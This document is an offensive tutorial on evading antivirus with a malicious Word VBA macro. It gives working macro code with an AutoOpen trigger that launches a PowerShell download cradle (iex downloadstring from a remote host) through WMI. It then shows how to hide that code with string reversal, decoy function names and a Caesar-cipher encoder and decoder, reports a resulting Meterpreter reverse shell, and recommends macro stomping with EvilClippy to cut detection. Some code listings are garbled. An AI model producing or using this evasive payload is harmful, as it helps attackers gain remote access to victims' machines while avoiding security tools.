obfuscation in VBA

we are going to perform some obfuscation to hide the content of any text
strings from the antivirus scanner. The current VBA macro has three of these: the PowerShell download cradle, the WMI connection string, and the WMI class name.

We will make two attempts at obfuscating the strings. The first will be a relatively simple technique, while the second will be more complex.

VBA contains a function called **StrReverse** that, given an input string, returns a string in which the character order is reversed. Our first obfuscation technique is going to rely on reversing all strings to hopefully break the signature detections.

We could reverse our content strings in a number of ways, but in this case we'll use the Code Beautify online resource. Listing shows our updated code after reversing the strings and inserting the **StrReverse** functions to restore them:

basic code:-

```
Sub MyMacro
strArg = "powershell -exec bypass -nop -c iex((new-object
system.net.webclient).downloadstring('http://192.168.119.120/run.txt'))"
GetObject("winmgmts:").Get("Win32_Process").Create strArg, Null, Null, pid
End Sub

Sub AutoOpen()
Mymacro
End Sub
```

visit to this website - **codbeautify.org/reverse-string**

use your simple powershell download syntex to reverse it -->> powershell -exec bypass -nop -c iex((new-object system.net.webclient).downloadstring('http://192.168.49.59/run.txt'))"

```
Sub Mymacro()
Dim strArg As String
strArg =
StrReverse("))'txt.nur/021.911.861.291//:ptth'(gnirtsdaolnwod.)tneilcbew.ten.metsys
tcejbo-wen((xei c- pon- ssapyb cexe- llehsrewop")
GetObject(StrReverse(":stmgmniw")).Get(StrReverse("ssecorP_23niW")).Create strArg,
Null, Null, pid
End Sub
```

Our code runs properly but we may have replaced one red flag with another. **Since StrReverse is notoriously used in malware, we should minimize its use.**
To reduce the amount of times the function name appears, we'll create a new function that simply calls StrReverse. This will reduce the number of times StrReverse appears in our code. As shown in Listing , we have inserted this function and used benign names for the function and argument names

Updated code to reduce the StrReverse use : -

```
Function bears(cows)
bears = StrReverse(cows)
End Function
Sub Mymacro()
Dim strArg As String
strArg =
bears("))'txt.nur/021.911.861.291//:ptth'(gnirtsdaolnwod.)tneilcbew.ten.metsys
tcejbo-wen((xei c- pon- ssapyb cexe- llehsrewop")
GetObject(StrReverse(":stmgmniw")).Get(StrReverse("ssecorP_23niW")).Create strArg,
Null, Null, pid
End Sub
```

Less av willd detect this but advance engines might notice the use Strreverse function

To reduce the detection rate even further, we can perform a more complex obfuscation by converting the ASCII string to its decimal representation and then performing a Caesar cipher encryption on the result

To better understand the encryption and decryption technique in detail, we'll start by creating an encryption script in PowerShell. We'll create an input variable called $payload containing the string to be encrypted along with the $output variable, which will contain the encrypted string

We'll convert the entire string into a character array through the **ToCharArray** method, and then run that output through a Foreach loop, with the "%" shorthand.

helper script in coverting output :-->>

```
$payload = "powershell -exec bypass -nop -w hidden -c iex((new-object
system.net.webclient).downloadstring('http://192.168.149.59/run.txt'))"
[string]$output = ""
$payload.ToCharArray() | %{
[string]$thischar = [byte][char]$_ + 17
if($thischar.Length -eq 1)
{
$thischar = [string]"00" + $thischar
$output += $thischar
}
elseif($thischar.Length -eq 2)
{
$thischar = [string]"0" + $thischar
$output += $thischar
}
elseif($thischar.Length -eq 3)
{
$output += $thischar
}
}
$output | clip
```

$payload you should use the methods also ::-

:stmgmniw
"ssecorP_23niW"

Inside the loop, the byte value of each character is increased by 17, which is the Caesar cipher key selected in this example. We'll use if and else conditions to pad the character's decimal representation to three digits

Finally, each decimal value is appended to the output string and piped onto the clipboard through clip

Running the PowerShell script produces the following output on the clipboard:

```
129128136118131132121118125125049062118137118116049115138129114132132
049062127128129049062136049121122117117118127049062116049122118137057
057127118136062128115123118116133049132138132133118126063127118133063
136118115116125122118127133058063117128136127125128114117132133131122
127120057
```

We can now use a similar process for the other two content strings in the VBA macro.
A simple VBA decrypting routine is shown in Listing and consists of four functions.

Notice that we are reducing the potential signature count in this decryption routine by using benign function names related to food.

The main Nuts function performs a while loop through the entire encrypted string where the Oatmilk variable is used to accumulate the decrypted string

```
Function Pears(Beets)
Pears = Chr(Beets - 17)
End Function
Function Strawberries(Grapes)
Strawberries = Left(Grapes, 3)
End Function
Function Almonds(Jelly)
Almonds = Right(Jelly, Len(Jelly) - 3)
End Function
Function Nuts(Milk)
Do
Oatmilk = Oatmilk + Pears(Strawberries(Milk))
Milk = Almonds(Milk)
Loop While Len(Milk) > 0
Nuts = Oatmilk
End Function
```

For each iteration of the loop, the entire encrypted string is sent to Strawberries. The function uses Left to fetch the first three characters of the string and returns that value.

Next, the Pears function is called with the three-character string as input. It treats the three character string as a number, subtracts the Caesar cipher value of 17, and then converts it to a character that is added to the accumulator in Oatmilk.

Once a character is returned, the Almonds function is called inside the loop where the Right function will exclude the first three characters that we just decrypted.
With the decryption routine implemented, we can use it to decrypt and execute the PowerShell download cradle:

```
Function MyMacro()
Dim Apples As String
Dim Water As String

Apples =
"1291281361181311321211181251250490621181371181160491151381291141321320490621271281290490621360491-
21122117117118127049062116049122118137057057127118136062128115123118116133049132138132133118126063-
12711813306313611811511612512211812713305806311712813612712512"
81141171321331311221271200570561211331331290750640640660740670630660710730630660660740
63066067065064115128128124063133137133056058058"
Water = Nuts(Apples)
GetObject(Nuts("136122127126120126133132075")).Get(Nuts("104122127068067112097131128116118132132")-
).Create Water, Tea, Coffee, Napkin
End Function
```

that previously, we invoked the Create method with the second and third arguments set to “Null”. In order to replicate this, we instead use undefined variables in the VBA code above, which by default contains the value “Null”.
Once we execute the encrypted VBA macro, we obtain a Meterpreter reverse shell, proving that the rather convoluted technique actually works.

Full payload :--->>>

its complete obufuscated method

```
Function Pears(Beets)
Pears = Chr(Beets - 17)
End Function
Function Strawberries(Grapes)
Strawberries = Left(Grapes, 3)
End Function
Function Almonds(Jelly)
Almonds = Right(Jelly, Len(Jelly) - 3)
```

```
End Function
Function Nuts(Milk)
Do
Oatmilk = Oatmilk + Pears(Strawberries(Milk))
Milk = Almonds(Milk)
Loop While Len(Milk) > 0
Nuts = Oatmilk
End Function
Function MyMacro()
Dim Apples As String
Dim Water As String

Apples =
"1291281361181311321211181251250490621181371181160491151381291141321320490621271281290490621360491-
21122117117118127049062116049122118137057057127118136062128115123118116133049132138132133118126063-
12711813306313611811511612512211812713305806311712813612712512"
81141171321331311221271200570561211331331290750640640660740670630660710730630660660740
63066067065064115128128124063133137133056058058"
Water = Nuts(Apples)
GetObject(Nuts("136122127126120126133132075")).Get(Nuts("104122127068067112097131128116118132132")-
).Create Water, Tea, Coffee, Napkin
End Function

```

ALso change the docname -->> this process is importent   -->> add docname in powershell payload -->> generate output → then use stomping process - with evilclippy.exe

currently the detection is 1 av detection